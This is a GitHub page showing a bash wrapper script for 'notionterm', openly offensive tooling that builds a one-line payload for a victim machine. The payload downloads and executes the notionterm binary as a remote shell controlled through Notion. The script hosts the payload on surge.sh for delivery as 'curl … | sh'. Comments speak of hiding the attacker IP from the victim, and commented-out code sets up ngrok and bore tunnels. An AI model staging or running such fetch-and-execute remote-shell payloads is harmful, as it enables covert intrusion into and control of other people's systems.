-
Notifications
You must be signed in to change notification settings - Fork 13
/
wrap-notionterm.sh
executable file
Β·111 lines (89 loc) Β· 3.74 KB
/
wrap-notionterm.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env bash
SHORTCUT=true
for i in "$@"; do
case $i in
--no-shortcuts|-N)
SHORTCUT="" # ~ setting at false
;;
*)
;;
esac
done
## Simple wrapper, do not send static ngrok to remote
## Wrap it: tmux new-session -s notionterm 'wrap-notionterm.sh'
# if [[ -z "${TMUX}" ]]; then
# echo "Must be run in tmux"
# exit 92
# fi
TOKEN="$(gum input --password --placeholder="Enter notion token")"
# IFS=$'\n'
# IPS=$(ip -brief -j -c address | jq -r '.[] | select((.operstate=="UP") or (.operstate=="UNKNOWN")) | "\(.ifname): \(.addr_info[0].local)\n"')
# IP_CHOICE=$(gum choose $IPS "tunnel: ngrok" "tunnel: bore")
# # Webserver config
# YELLOW='\033[0;33m'
# NC='\033[0m' # No Color
# echo "${YELLOW} If you really want to hide attacker IP from victim do not use this to transfer notionterm on victim machine${NC}"
# LPORT=$(gum input --placeholder "enter local port")
# PORT=""
# ENDPOINT=""
# if [ "$IP_CHOICE" = "tunnel: ngrok" ]; then
# # launch ngrok, retrieve endpoint + port
# tmux split-window -v "ngrok tcp ${LPORT}"
# sleep 4 # wait for ngrok to start
# NGROK_ENDPOINT_TCP=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels | jq -r ".tunnels[0].public_url")
# NGROK_ENDPOINT="$(echo $NGROK_ENDPOINT_TCP | cut -d ':' -f 2-3 | cut -d '/' -f 3-)"
# TUNNEL_ENDPOINT="${NGROK_ENDPOINT}"
# ENDPOINT="$(echo $TUNNEL_ENDPOINT | cut -d ':' -f 1)"
# PORT="$(echo $TUNNEL_ENDPOINT | cut -d ':' -f 2)"
# elif [ "$IP_CHOICE" = "tunnel: bore" ]; then
# tmux split-window -v "bore local ${LPORT} --to bore.pub"
# PORT=$(gum input --placeholder "enter bore.pub remote_port given")
# ENDPOINT="bore.pub"
# else
# ENDPOINT=$(echo $IP_CHOICE | cut -d ":" -f 2 | cut -d " " -f 2)
# PORT=$LPORT
# fi
# tmux split-window -h "python -m http.server ${LPORT}"
## Notionterm on target
REMOTE_CMD=""
BINARY="./notionterm"
gum confirm "Save binary in /tmp directory ?" && REMOTE_CMD="mkdir -p /tmp/notionterm &&" ;BINARY="/tmp/notionterm/notionterm"
REMOTE_CMD="${REMOTE_CMD} curl -o ${BINARY} -L -s https://github.com/ariary/notionterm/releases/latest/download/notionterm && chmod +x ${BINARY}"
REMOTE_CMD=" curl -o ${BINARY} -L -s https://github.com/ariary/notionterm/releases/latest/download/notionterm && chmod +x ${BINARY}"
MODE="$(gum choose "target β notion" "from any page" "normal")"
TARGET_URL=""
if [ "$MODE" = "target β notion" ]; then
PAGEID="$(gum input --placeholder="Enter notion page ID (CTRL+L)")"
REMOTE_CMD="${REMOTE_CMD} && ${BINARY} light -u ${PAGEID} -t ${TOKEN}"
elif [ "$MODE" = "from any page" ]; then
REMOTE_CMD="${REMOTE_CMD} && ${BINARY} --server -t ${TOKEN}"
TARGET_URL="$(gum input --placeholder="Enter target IP/URL")"
gum confirm "Include Port (9292) in target IP/URL?" && TARGET_URL="${TARGET_URL}:9292"
else
PAGEID="$(gum input --placeholder="Enter notion page ID (CTRL+L)")"
REMOTE_CMD="${REMOTE_CMD} && ${BINARY} -u ${PAGEID} -t ${TOKEN}"
TARGET_URL="$(gum input --placeholder="Enter target IP/URL")"
gum confirm "Include Port (9292) in target IP/URL?" && TARGET_URL="${TARGET_URL}:9292"
fi
if [[ "$TARGET_URL" ]];
then
REMOTE_CMD="${REMOTE_CMD} -o ${TARGET_URL}"
fi
# with shorter shortcut? Use surge to not expose attacker IP
if [[ "$SHORTCUT" ]]; then
## Write file for gitar
echo "notionterm.surge.sh" > CNAME
echo $REMOTE_CMD > sh
surge .
rm sh CNAME
REMOTE_CMD="curl https://notionterm.surge.sh/sh|sh\n"
clear
fi
echo -e "${REMOTE_CMD}"
if [[ "$SHORTCUT" ]]; then
trap 'surge teardown notionterm.surge.sh' SIGINT
YELLOW='\033[0;33m'
NC='\033[0m' # No Color
echo
echo -e "${YELLOW}CTRL+C when job done (trigger 'surge teardown notionterm.surge.sh')${NC}" && sleep infinity
fi